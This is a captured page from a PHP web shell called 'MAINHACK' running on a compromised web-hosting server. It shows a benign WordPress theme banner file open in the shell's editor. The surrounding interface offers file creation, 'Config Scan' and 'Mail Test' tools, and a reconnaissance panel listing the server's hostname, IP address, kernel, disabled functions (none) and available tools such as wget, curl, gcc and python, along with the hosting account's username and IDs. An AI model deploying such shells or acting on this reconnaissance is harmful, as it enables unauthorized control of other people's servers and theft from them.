[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: banner-background.php
<?php /*--- Banner background function for image, color, gradient ---*/ function organization_banner_background() { $title = get_theme_mod('banner_sub_title', __('RAISE YOUR HELPING HAND', 'organization')); $fornt_img = get_theme_mod('banner_side_img',''); $subtitle = get_theme_mod('banner_main_title', __('FOR THE POOR CHILDREN', 'organization')); $subpera = get_theme_mod('banner_para', __('Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi imperdiet ullamcorper erat', 'organization')); $button_text1 = get_theme_mod('banner_btn1_txt', __('Get Started', 'organization')); $button_text2 = get_theme_mod('banner_btn2_txt', __('Know more', 'organization')); $button_url1 = get_theme_mod('banner_btn1_url', '#'); $button_url2 = get_theme_mod('banner_btn2_url', '#'); $site_header_type = get_theme_mod('site_header_type', 'image'); ?> <div class="header-background background-wave style1"> <div class="header-content"> <div class="container"> <div class="row align-center"> <div class="<?php if(!empty($fornt_img)){ echo 'col-md-7 col-lg-8' ;} else {echo 'col-md-12 col-lg-12';} ?> "> <div class="banner-text-content" > <h5 class="bg-maintitle"><?php echo esc_html( $title ); ?></h5> <h1 class="bg-subtitle"><?php echo esc_html( $subtitle ); ?></h1> <p class="bg-subpera"><?php echo esc_html( $subpera ); ?></p> <?php if(!empty($button_text1)){ ?> <div class="banner-btn-div"> <a href="<?php echo esc_url( $button_url1 ); ?>" class="bg-banner-button banner-button mt-5"><?php echo esc_html( $button_text1 ); ?></a> <?php }?> <?php if(!empty($button_text2)){ ?> <a href="<?php echo esc_url( $button_url2 ); ?>" class="bg-banner-button2 banner-button mt-5"><?php echo esc_html( $button_text2 ); ?></a> </div> <?php }?> </div> </div> <?php if(!empty($fornt_img)){ ?> <div class="col-md-5 col-lg-3 "> <div class="background_image_right"> <img class="front_img" src="<?php echo esc_url($fornt_img); ?>" alt="Banner Image"> </div> </div> <?php }?> </div> </div> </div> </div> <?php } /*--- Banner background function for video ---*/ function organization_banner_video() { if ( !function_exists('the_custom_header_markup') ) { return; } $banner_type = get_theme_mod( 'banner_type' ); if ( get_theme_mod('banner_type') == 'video' && is_front_page() ) { the_custom_header_markup(); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.54 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830